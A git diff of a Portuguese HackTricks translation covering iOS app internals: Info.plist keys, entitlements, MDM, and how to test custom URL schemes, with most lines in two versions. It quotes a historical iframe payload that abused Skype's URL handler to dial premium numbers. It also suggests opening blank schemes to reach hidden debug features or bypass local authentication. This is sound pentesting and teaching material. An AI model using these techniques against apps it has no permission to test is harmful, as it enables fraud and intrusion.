<plist version="1.0">
|
||||
<dict>
|
||||
<key>NSLocationWhenInUseUsageDescription</key>
|
||||
<string>Sua localização é usada para fornecer direções passo a passo até seu destino.</string>
|
||||
```
|
||||
|
||||
## Capacidades do dispositivo
|
||||
## Capacidades do Dispositivo
|
||||
|
||||
As capacidades do dispositivo são usadas pela App Store para garantir que apenas dispositivos compatíveis sejam listados e, portanto, possam baixar o aplicativo. Elas são especificadas no arquivo `Info.plist` do aplicativo sob a chave [`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/plist/info/UIRequiredDeviceCapabilities).
|
||||
As capacidades do dispositivo são usadas pela App Store para garantir que apenas dispositivos compatíveis sejam listados e, portanto, tenham permissão para baixar a aplicação. Elas são especificadas no arquivo `Info.plist` da aplicação sob a chave [`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple_ref/doc/plist/info/UIRequiredDeviceCapabilities).
|
||||
```markup
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
```
|
||||
Normalmente, você encontrará a capacidade `armv7`, o que significa que o aplicativo é compilado apenas para o conjunto de instruções armv7, ou se for um aplicativo universal de 32/64 bits.
|
||||
> Normalmente, você encontrará a capacidade `armv7`, o que significa que o aplicativo é compilado apenas para o conjunto de instruções armv7, ou se é um aplicativo universal de 32/64 bits.
|
||||
|
||||
Por exemplo, um aplicativo pode depender completamente do NFC para funcionar (por exemplo, um aplicativo "Leitor de Tag NFC"). De acordo com a [Referência de Compatibilidade de Dispositivos iOS arquivada](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html), o NFC só está disponível a partir do iPhone 7 (e iOS 11). Um desenvolvedor pode querer excluir todos os dispositivos incompatíveis definindo a capacidade do dispositivo `nfc`.
|
||||
Por exemplo, um aplicativo pode depender completamente do NFC para funcionar (por exemplo, um aplicativo ["NFC Tag Reader"](https://itunes.apple.com/us/app/nfc-taginfo-by-nxp/id1246143596)). De acordo com o [arquivo de referência de compatibilidade de dispositivos iOS](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html), o NFC está disponível apenas a partir do iPhone 7 (e iOS 11). Um desenvolvedor pode querer excluir todos os dispositivos incompatíveis definindo a capacidade do dispositivo `nfc`.
|
||||
|
||||
## Direitos
|
||||
## Entitlements
|
||||
|
||||
> Os direitos são pares de chave-valor que são assinados em um aplicativo e permitem autenticação além de fatores de tempo de execução, como o ID de usuário UNIX. Como os direitos são assinados digitalmente, eles não podem ser alterados. Os direitos são usados extensivamente por aplicativos e daemons do sistema para **realizar operações privilegiadas específicas que, de outra forma, exigiriam que o processo fosse executado como root**. Isso reduz enormemente o potencial de escalonamento de privilégios por um aplicativo ou daemon do sistema comprometido.
|
||||
> Entitlements são pares de chave-valor que são assinados em um aplicativo e permitem autenticação além de fatores de tempo de execução, como o ID de usuário UNIX. Como os entitlements são assinados digitalmente, eles não podem ser alterados. Entitlements são usados extensivamente por aplicativos do sistema e daemons para **realizar operações privilegiadas específicas que, de outra forma, exigiriam que o processo fosse executado como root**. Isso reduz muito o potencial de escalonamento de privilégios por um aplicativo do sistema ou daemon comprometido.
|
||||
|
||||
Por exemplo, se você deseja definir a capacidade "Proteção de Dados Padrão", precisará ir para a guia **Capacidades** no Xcode e habilitar **Proteção de Dados**. Isso é escrito diretamente pelo Xcode no arquivo `<nomedoaplicativo>.entitlements` como o direito `com.apple.developer.default-data-protection` com o valor padrão `NSFileProtectionComplete`. No IPA, podemos encontrar isso em `embedded.mobileprovision` como:
|
||||
Por exemplo, se você quiser definir a capacidade "Proteção de Dados Padrão", você precisaria ir até a aba **Capabilities** no Xcode e habilitar **Data Protection**. Isso é escrito diretamente pelo Xcode no arquivo `<appname>.entitlements` como o entitlement `com.apple.developer.default-data-protection` com o valor padrão `NSFileProtectionComplete`. No IPA, podemos encontrar isso no `embedded.mobileprovision` como:
|
||||
```markup
|
||||
<key>Entitlements</key>
|
||||
<dict>
|
||||
...
|
||||
<key>com.apple.developer.default-data-protection</key>
|
||||
<string>NSFileProtectionComplete</string>
|
||||
...
|
||||
<key>com.apple.developer.default-data-protection</key>
|
||||
<string>NSFileProtectionComplete</string>
|
||||
</dict>
|
||||
```
|
||||
Para outras capacidades, como HealthKit, o usuário deve ser solicitado a permissão, portanto, não é suficiente adicionar as permissões, chaves especiais e strings devem ser adicionadas ao arquivo `Info.plist` do aplicativo.
|
||||
Para outras capacidades, como HealthKit, o usuário deve ser solicitado a dar permissão, portanto, não é suficiente adicionar os direitos, chaves especiais e strings devem ser adicionadas ao arquivo `Info.plist` do aplicativo.
|
||||
|
||||
# Conceitos Básicos de Objective-C e Swift
|
||||
# Fundamentos de Objective-C e Swift
|
||||
|
||||
O **Objective-C** possui um **tempo de execução dinâmico**, portanto, quando um programa Objective-C é executado no iOS, ele chama bibliotecas cujos **endereços são resolvidos em tempo de execução** comparando o nome da função enviada na mensagem com uma lista de todos os nomes de função disponíveis.
|
||||
**Objective-C** possui um **runtime dinâmico**, então quando um programa Objective-C é executado no iOS, ele chama bibliotecas cujos **endereços são resolvidos em tempo de execução** comparando o nome da função enviada na mensagem contra uma lista de todos os nomes de funções disponíveis.
|
||||
|
||||
No início, apenas os aplicativos criados pela Apple eram executados nos iPhones, então eles tinham **acesso a tudo** porque eram **confiáveis**. No entanto, quando a Apple **permitiu** **aplicativos de terceiros**, a Apple simplesmente removeu os arquivos de cabeçalho das funções poderosas para "escondê-las" dos desenvolvedores. No entanto, os desenvolvedores descobriram que as funções "seguras" precisavam de algumas dessas funções não documentadas e, criando um **arquivo de cabeçalho personalizado com os nomes das funções não documentadas, era possível invocar essas funções ocultas poderosas**. Na verdade, a Apple, antes de permitir que um aplicativo seja publicado, verifica se o aplicativo chama alguma dessas funções proibidas.
|
||||
No início, apenas aplicativos criados pela Apple rodavam nos iPhones, então eles tinham **acesso a tudo** já que eram **confiáveis**. No entanto, quando a Apple **permitiu** **aplicativos de terceiros,** a Apple simplesmente removeu os arquivos de cabeçalho das funções poderosas para "escondê-las" dos desenvolvedores. No entanto, os desenvolvedores descobriram que funções "seguras" precisavam de algumas dessas funções não documentadas e apenas criando um **arquivo de cabeçalho personalizado com os nomes das funções não documentadas, era possível invocar essas poderosas funções ocultas.** De fato, a Apple, antes de permitir a publicação de um aplicativo, verifica se o aplicativo chama alguma dessas funções proibidas.
|
||||
|
||||
Então, surgiu o Swift. Como o **Swift é vinculado estaticamente** (não resolve o endereço das funções em tempo de execução como o Objective-C), é possível verificar mais facilmente as chamadas que um programa Swift fará por meio da análise de código estático.
|
||||
Então, apareceu o Swift. Como **Swift é estaticamente vinculado** (não resolve o endereço das funções em tempo de execução como Objective-C), é mais fácil verificar as chamadas que um programa Swift vai fazer através de análise estática de código.
|
||||
|
||||
# Gerenciamento de Dispositivos
|
||||
|
||||
A partir da versão 6 do iOS, há **suporte integrado para gerenciamento de dispositivos** com controles de granularidade fina que permitem que uma organização controle os dispositivos Apple corporativos.\
|
||||
A inscrição pode ser **iniciada pelo usuário instalando um agente** para acessar os aplicativos corporativos. Nesse caso, o dispositivo geralmente pertence ao usuário.\
|
||||
Ou a **empresa pode indicar os números de série** dos dispositivos comprados ou o ID do pedido de compra e especificar o perfil MDM a ser instalado nesses dispositivos. Observe que a Apple **não permite inscrever um dispositivo específico dessa maneira duas vezes**. Depois que o primeiro perfil é excluído, o usuário precisa dar consentimento para instalar outro.
|
||||
A partir da versão 6 do iOS, existe **suporte integrado para capacidade de gerenciamento de dispositivos** com controles de granulação fina que permitem a uma organização controlar os dispositivos apple corporativos.\
|
||||
O registro pode ser **iniciado pelo usuário instalando um agente** para acessar os aplicativos corporativos. Neste caso, o dispositivo geralmente pertence ao usuário.\
|
||||
Ou a **empresa pode indicar os números de série** dos dispositivos comprados ou o ID do pedido de compra e especificar o perfil MDM para instalar nesses dispositivos. Note que a Apple **não permite registrar um dispositivo particular desta forma duas vezes**. Uma vez que o primeiro perfil é deletado, o usuário precisa dar consentimento para instalar outro.
|
||||
|
||||
O usuário pode ver as políticas instaladas em _**Configurações**_ --> _**Geral**_ --> _**Perfil e Gerenciamento de Dispositivos**_
|
||||
O usuário pode ver as políticas instaladas em _**Configurações**_ --> _**Geral**_ --> _**Gerenciamento de Dispositivos e Perfis**_
|
||||
|
||||
Como essas políticas MDM estão verificando e limitando outras aplicações, elas estão **executando com mais privilégios**.\
|
||||
Uma política MDM pode **forçar** **usuários** a ter um **código de acesso** definido com uma **complexidade** de senha **mínima**.\
|
||||
Os perfis estão vinculados ao ID do dispositivo, **assinados** e **criptografados** pelo servidor MDM e **à prova de violação**. Eles **não podem** ser **removidos** sem **perder** todos os **dados corporativos**.\
|
||||
Os perfis MDM permitem **apagar** todos os **dados** se houver X **tentativas** de **senha** **falhadas**. Além disso, o **administrador** pode **apagar** o iPhone remotamente sempre que quiser via interface MDM.
|
||||
Como essas políticas MDM estão verificando e limitando outros aplicativos, elas estão **rodando com mais privilégios**.\
|
||||
Uma política MDM pode **exigir** que os **usuários** tenham um **código de acesso** definido com uma **complexidade mínima** de senha.\
|
||||
Os perfis são vinculados ao deviceID, **assinados** e **criptografados** pelo servidor MDM e são **à prova de adulteração**. Eles **não podem** ser **removidos** sem **perder** todos os **dados corporativos**.\
|
||||
Perfis MDM permitem **apagar** todos os **dados** se houver X **tentativas falhas** de senha. Além disso, o **administrador** pode **apagar remotamente** o iPhone a qualquer momento via interface MDM.
|
||||
|
||||
Os agentes MDM também **verificarão** possíveis jailbreaks do dispositivo, pois esse é um estado muito perigoso para um iPhone.
|
||||
Agentes MDM também **verificam** possíveis **jailbreaks do dispositivo**, pois isso é um estado muito perigoso para um iPhone.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,94 +1,92 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Os esquemas de URL personalizados [permitem que os aplicativos se comuniquem por meio de um protocolo personalizado](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple\_ref/doc/uid/TP40007072-CH6-SW1). Um aplicativo deve declarar suporte para os esquemas e lidar com URLs de entrada que usam esses esquemas.
|
||||
Esquemas de URL personalizados [permitem que aplicativos se comuniquem via um protocolo personalizado](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Um aplicativo deve declarar suporte para os esquemas e tratar URLs de entrada que utilizem esses esquemas.
|
||||
|
||||
> Os esquemas de URL oferecem um vetor de ataque potencial para o seu aplicativo, portanto, certifique-se de **validar todos os parâmetros de URL** e **descartar URLs malformados**. Além disso, limite as **ações** disponíveis para aquelas que **não colocam em risco os dados do usuário**.
|
||||
> Esquemas de URL oferecem um vetor de ataque potencial para seu aplicativo, então certifique-se de **validar todos os parâmetros da URL** e **descartar quaisquer URLs malformadas**. Além disso, limite as **ações** disponíveis àquelas que **não arrisquem os dados do usuário**.
|
||||
|
||||
Por exemplo, a URI: `myapp://hostname?data=123876123` irá **invocar** o **aplicativo** mydata (aquele que **registrou** o esquema `mydata`) para a **ação** relacionada ao **hostname** `hostname` enviando o **parâmetro** `data` com valor `123876123`.
|
||||
Por exemplo, a URI: `myapp://hostname?data=123876123` irá **invocar** o **aplicativo** mydata (aquele que **registrou** o esquema `mydata`) para a **ação** relacionada ao **hostname** `hostname` enviando o **parâmetro** `data` com valor `123876123`
|
||||
|
||||
Um exemplo vulnerável é o seguinte [bug no aplicativo móvel do Skype](http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html), descoberto em 2010: O aplicativo Skype registrou o manipulador de protocolo `skype://`, o que **permitiu que outros aplicativos acionassem chamadas para outros usuários do Skype e números de telefone**. Infelizmente, o Skype não pediu permissão aos usuários antes de fazer as chamadas, então qualquer aplicativo poderia ligar para números arbitrários sem o conhecimento do usuário. Os atacantes exploraram essa vulnerabilidade colocando um `<iframe src="skype://xxx?call"></iframe>` invisível (onde `xxx` foi substituído por um número premium), então qualquer usuário do Skype que inadvertidamente visitasse um site malicioso chamava o número premium.
|
||||
Um exemplo vulnerável é o seguinte [bug no aplicativo móvel Skype](http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html), descoberto em 2010: O aplicativo Skype registrou o manipulador de protocolo `skype://`, que **permitia que outros aplicativos iniciassem chamadas para outros usuários do Skype e números de telefone**. Infelizmente, o Skype não pedia permissão aos usuários antes de fazer as chamadas, então qualquer aplicativo poderia ligar para números arbitrários sem o conhecimento do usuário. Os atacantes exploraram essa vulnerabilidade colocando um `<iframe src="skype://xxx?call"></iframe>` invisível (onde `xxx` foi substituído por um número premium), então qualquer usuário do Skype que visitasse inadvertidamente um site malicioso chamaria o número premium.
|
||||
|
||||
Você pode encontrar os **esquemas registrados por um aplicativo** no arquivo **`Info.plist`** do aplicativo procurando por **`CFBundleURLTypes`** (exemplo do [iGoat-Swift](https://github.com/OWASP/iGoat-Swift)):
|
||||
Você pode encontrar os **esquemas registrados por um aplicativo** no arquivo **`Info.plist`** do aplicativo procurando por **`CFBundleURLTypes`** (exemplo de [iGoat-Swift](https://github.com/OWASP/iGoat-Swift)):
|
||||
```markup
|
||||
<key>CFBundleURLTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>com.iGoat.myCompany</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>iGoat</string>
|
||||
</array>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>com.iGoat.myCompany</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>iGoat</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
```
|
||||
No entanto, observe que **aplicativos maliciosos podem registrar novamente URIs** já registrados por outros aplicativos. Portanto, se você estiver enviando **informações confidenciais por meio de URIs** (myapp://hostname?password=123456), um aplicativo **malicioso** pode **interceptar** a URI com as **informações confidenciais**.
|
||||
No entanto, observe que **aplicações maliciosas podem re-registrar URIs** já registradas por aplicações. Então, se você está enviando **informações sensíveis via URIs** (myapp://hostname?password=123456), uma aplicação **maliciosa** pode **interceptar** a URI com a **informação** **sensível**.
|
||||
|
||||
Além disso, a entrada dessas URIs **deve ser verificada e sanitizada**, pois pode estar vindo de **origens maliciosas** tentando explorar SQLInjections, XSS, CSRF, Traversals de Caminho ou outras possíveis vulnerabilidades.
|
||||
Além disso, a entrada dessas URIs **deve ser verificada e higienizada**, pois pode vir de **origens maliciosas** tentando explorar SQLInjections, XSS, CSRF, Path Traversals ou outras possíveis vulnerabilidades.
|
||||
|
||||
## Registro de Esquemas de Consulta do Aplicativo
|
||||
## Registro de Esquemas de Consulta de Aplicativos
|
||||
|
||||
Os aplicativos podem chamar [`canOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc) para verificar se o **aplicativo de destino está disponível**. No entanto, como esse método estava sendo usado por aplicativos maliciosos como uma forma de **enumerar aplicativos instalados**, [a partir do iOS 9.0, os esquemas de URL passados para ele também devem ser declarados](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc#discussion) adicionando a chave `LSApplicationQueriesSchemes` ao arquivo `Info.plist` do aplicativo e um array de **até 50 esquemas de URL**.
|
||||
Aplicativos podem chamar [`canOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc) para verificar se o **aplicativo alvo está disponível**. No entanto, como este método estava sendo usado por aplicativos maliciosos como uma forma de **enumerar aplicativos instalados**, [a partir do iOS 9.0 os esquemas de URL passados para ele também devem ser declarados](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc#discussion) adicionando a chave `LSApplicationQueriesSchemes` ao arquivo `Info.plist` do aplicativo e um array de **até 50 esquemas de URL**.
|
||||
```markup
|
||||
<key>LSApplicationQueriesSchemes</key>
|
||||
<array>
|
||||
<string>url_scheme1</string>
|
||||
<string>url_scheme2</string>
|
||||
</array>
|
||||
<array>
|
||||
<string>url_scheme1</string>
|
||||
<string>url_scheme2</string>
|
||||
</array>
|
||||
```
|
||||
`canOpenURL` sempre retornará `NO` para esquemas não declarados, independentemente de um aplicativo apropriado estar instalado ou não. No entanto, essa restrição se aplica apenas ao `canOpenURL`.
|
||||
`canOpenURL` sempre retornará `NO` para esquemas não declarados, independentemente de haver ou não um aplicativo apropriado instalado. No entanto, essa restrição se aplica apenas ao `canOpenURL`.
|
||||
|
||||
## Testando o Manuseio e Validação de URLs
|
||||
## Testando o Manuseio e Validação de URL
|
||||
|
||||
Para determinar como um caminho de URL é construído e validado, se você tiver o código-fonte original, pode **procurar pelos seguintes métodos**:
|
||||
Para determinar como um caminho de URL é construído e validado, se você tem o código-fonte original, você pode **procurar pelos seguintes métodos**:
|
||||
|
||||
* Método `application:didFinishLaunchingWithOptions:` ou `application:will-FinishLaunchingWithOptions:`: verifique como a decisão é tomada e como as informações sobre a URL são recuperadas.
|
||||
* [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc): verifique como o recurso está sendo aberto, ou seja, como os dados estão sendo analisados, verifique as [opções](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey), especialmente se o acesso pelo aplicativo chamador ([`sourceApplication`](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey/1623128-sourceapplication)) deve ser permitido ou negado. O aplicativo também pode precisar da permissão do usuário ao usar o esquema de URL personalizado.
|
||||
* método `application:didFinishLaunchingWithOptions:` ou `application:willFinishLaunchingWithOptions:`: verifique como a decisão é tomada e como as informações sobre a URL são recuperadas.
|
||||
* [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc): verifique como o recurso está sendo aberto, ou seja, como os dados estão sendo analisados, verifique as [opções](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey), especialmente se o acesso pelo aplicativo chamador ([`sourceApplication`](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey/1623128-sourceapplication)) deve ser permitido ou negado. O aplicativo também pode precisar de permissão do usuário ao usar o esquema de URL personalizado.
|
||||
|
||||
No Telegram, você encontrará [quatro métodos diferentes sendo usados](https://github.com/peter-iakovlev/Telegram-iOS/blob/87e0a33ac438c1d702f2a0b75bf21f26866e346f/Telegram-iOS/AppDelegate.swift#L1250):
|
||||
```swift
|
||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
}
|
||||
|
||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?,
|
||||
annotation: Any) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
}
|
||||
|
||||
func application(_ app: UIApplication, open url: URL,
|
||||
options: [UIApplicationOpenURLOptionsKey : Any] = [:]) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
}
|
||||
|
||||
func application(_ application: UIApplication, handleOpen url: URL) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
self.openUrl(url: url)
|
||||
return true
|
||||
}
|
||||
```
|
||||
## Testando solicitações de URL para outros aplicativos
|
||||
## Testando Requisições de URL para Outros Apps
|
||||
|
||||
O método [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) e o método [obsoleto `openURL:` da `UIApplication`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc) são responsáveis por **abrir URLs** (ou seja, enviar solicitações / fazer consultas para outros aplicativos) que podem ser locais para o aplicativo atual ou podem ser fornecidos por um aplicativo diferente. Se você tiver o código-fonte original, poderá procurar diretamente por usos desses métodos.
|
||||
O método [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) e o método [deprecated `openURL:` de `UIApplication`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc) são responsáveis por **abrir URLs** (ou seja, para enviar requisições / fazer consultas a outros apps) que podem ser locais ao app atual ou podem ser fornecidos por um app diferente. Se você tem o código-fonte original, pode procurar diretamente pelo uso desses métodos.
|
||||
|
||||
Além disso, se você estiver interessado em saber se o aplicativo está consultando serviços ou aplicativos específicos e se o aplicativo é bem conhecido, também pode pesquisar por esquemas de URL comuns online e incluí-los em seus **greps (lista de esquemas de aplicativos iOS)**.
|
||||
Adicionalmente, se você tem interesse em saber se o app está consultando serviços ou apps específicos, e se o app é bem conhecido, você também pode procurar por esquemas de URL comuns online e incluí-los em seus **greps ([**lista de esquemas de apps iOS**](https://ios.gadgethacks.com/how-to/always-updated-list-ios-app-url-scheme-names-paths-for-shortcuts-0184033/)**)**.
|
||||
```bash
|
||||
egrep -nr "open.*options.*completionHandler" ./Telegram-iOS/
|
||||
egrep -nr "openURL\(" ./Telegram-iOS/
|
||||
|
@ -118,54 +116,54 @@ $ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl"
|
|||
```
|
||||
## Chamando URLs arbitrárias
|
||||
|
||||
* **Safari**: Para testar rapidamente um esquema de URL, você pode abrir as URLs no Safari e observar como o aplicativo se comporta. Por exemplo, se você escrever `tel://123456789`, o Safari tentará iniciar a chamada para o número.
|
||||
* **Notes App**: Pressione longamente os links que você escreveu para testar esquemas de URL personalizados. Lembre-se de sair do modo de edição para poder abri-los. Observe que você pode clicar ou pressionar links, incluindo esquemas de URL personalizados, somente se o aplicativo estiver instalado, caso contrário, eles não serão destacados como _links clicáveis_.
|
||||
* **Safari**: Para testar rapidamente um esquema de URL, você pode abrir as URLs no Safari e observar como o aplicativo se comporta. Por exemplo, se você escrever `tel://123456789` o Safari tentará iniciar a chamada para o número.
|
||||
* **Aplicativo de Notas**: Pressione e segure os links que você escreveu para testar esquemas de URL personalizados. Lembre-se de sair do modo de edição para poder abri-los. Observe que você pode clicar ou pressionar e segurar links incluindo esquemas de URL personalizados apenas se o aplicativo estiver instalado, caso contrário, eles não serão destacados como _links clicáveis_.
|
||||
* [**IDB**](https://github.com/facebook/idb):
|
||||
* Inicie o IDB, conecte-se ao seu dispositivo e selecione o aplicativo de destino. Você pode encontrar detalhes na [documentação do IDB](https://www.idbtool.com/documentation/setup.html).
|
||||
* Vá para a seção **URL Handlers**. Em **URL schemes**, clique em **Refresh**, e à esquerda você encontrará uma lista de todos os esquemas personalizados definidos no aplicativo em teste. Você pode carregar esses esquemas clicando em **Open**, no lado direito. Ao simplesmente abrir um esquema de URI em branco (por exemplo, abrindo `myURLscheme://`), você pode descobrir funcionalidades ocultas (por exemplo, uma janela de depuração) e contornar a autenticação local.
|
||||
* Inicie o IDB, conecte-se ao seu dispositivo e selecione o aplicativo alvo. Você pode encontrar detalhes na [documentação do IDB](https://www.idbtool.com/documentation/setup.html).
|
||||
* Vá para a seção **URL Handlers**. Em **URL schemes**, clique em **Refresh**, e à esquerda você encontrará uma lista de todos os esquemas personalizados definidos no aplicativo em teste. Você pode carregar esses esquemas clicando em **Open**, no lado direito. Simplesmente abrindo um esquema de URI em branco (por exemplo, abrindo `myURLscheme://`), você pode descobrir funcionalidades ocultas (por exemplo, uma janela de depuração) e contornar a autenticação local.
|
||||
* **Frida**:
|
||||
|
||||
Se você simplesmente deseja abrir o esquema de URL, pode fazê-lo usando o Frida:
|
||||
Se você simplesmente quer abrir o esquema de URL, pode fazer isso usando Frida:
|
||||
|
||||
```javascript
|
||||
$ frida -U iGoat-Swift
|
||||
```javascript
|
||||
$ frida -U iGoat-Swift
|
